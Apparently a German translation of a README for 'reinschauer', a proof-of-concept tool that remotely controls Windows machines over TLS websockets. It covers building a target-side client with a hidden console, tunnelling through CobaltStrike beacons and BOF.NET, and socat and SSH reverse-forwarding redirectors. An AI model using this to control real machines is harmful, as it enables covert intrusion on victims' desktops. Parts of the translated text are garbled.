
Es ist sehr gut.

Ein PoC zur Fernsteuerung von Windows-Maschinen über Websockets. Eine ausführliche Beschreibung findest du in meinem Blog.


reinschauer rohe Bitmaps in JPEG und komprimiert die resultierenden Daten, bevor sie über das Netzwerk gesendet werden, um die Framegröße zu reduzieren.
server verwenden, um TLS-Serverdateien zu generieren, oder eigene mitbringen.reinschauer-server -h für verfügbare Optionen.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
Wie baue ich es?
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
Ich habe eine vorgefertigte und eigenständige Version der Dotnet-Variante in diesem Repository beigefügt. Wenn du sie selbst erstellen möchtest, verwende die Visual-Studio-Projektdatei, um die x64-Release-Variante zu erstellen. Falls dies nicht automatisch geschieht, lade die erforderlichen NuGet-Pakete für das Projekt über Visual Studio herunter. Dein Zielsystem hat diese Pakete höchstwahrscheinlich ebenfalls nicht installiert, daher könnten DLLs fehlen, wenn die resultierende EXE auf dem Ziel ausgeführt wird. Um dieses Problem zu umgehen, ruft dieses Projekt automatisch ILMerge.exe auf, um die resultierende EXE zusammen mit den erforderlichen Bibliotheken zu bündeln. Verwende daher auf den Zielsystemen die generierte Datei namens reinschauer-dotnet-standalone.exe.
Möglicherweise musst du vorher etwas mit
go getholen. Verwende-ldflags -H=windowsgui, um das Konsolenfenster zu deaktivieren.
Wer ist der Client/Server?
Der
clientwird auf der Zielmaschine (Windows) ausgeführt. Dieserver-Komponente wird auf der Maschine des Testers (Linux) ausgeführt. Sie lauscht standardmäßig auf0.0.0.0:6969. Sowohl der Golang- als auch der C#-Client sind mit dem Server kompatibel.
Ist das ein HVNC / Hidden Desktop?
Nein. Es verwendet denselben Desktop wie der Benutzer.
Einige Tasten und Tastenkombinationen funktionieren nicht, bitte beheben
Ich weiß, dass |, @ und § derzeit möglicherweise nicht funktionieren, zumindest auf meiner deutschen Gurken-Tastatur. Bitte fixen.
Der Client verbraucht zu viel CPU-Zeit
Ein niedrigerer FPS-Wert könnte helfen.
Ich habe keine direkte Verbindung zwischen client und server
Du kannst ein CobaltStrike-Beacon verwenden, um den Verkehr zu tunneln.
Ich habe kein Cobaltstrike!
Verwende einen
socat-Redirector wie:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
und starte den Client mit den erforderlichen Parametern oder hardcoden.
Richte zuerst BOF.NET gemäß dem Handbuch ein. Lade außerdem die Standalone-EXE mit bofnet_load <Path to Exe>. Entscheide dann, wie du Reinschauer verwenden möchtest:
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. Dadurch verbindet sich Reinschauer automatisch mit 127.0.0.1:6969 auf 127.0.0.1 der Zielmaschine. Dies deaktiviert auch TLS, da ohnehin die Beacon-Verbindung genutzt wird.bofnet_jobkill <Job ID>.bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true. Der boolesche Parameter aktiviert die TLS-Nutzung.bofnet_jobkill <Job ID>.Verwende dann SSH und die GatewayPorts-Funktion: Füge GatewayPorts: clientspecified zur sshd_config hinzu und starte den SSH-Server neu. Danach macht ssh -R '0.0.0.0:8080:localhost:6969'' [...] deinen lokalen Port 6969 unter 0.0.0.0:8080 verfügbar. Sei vorsichtig :)
Oder richte auf dem Server einen socat-Redirector ein:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>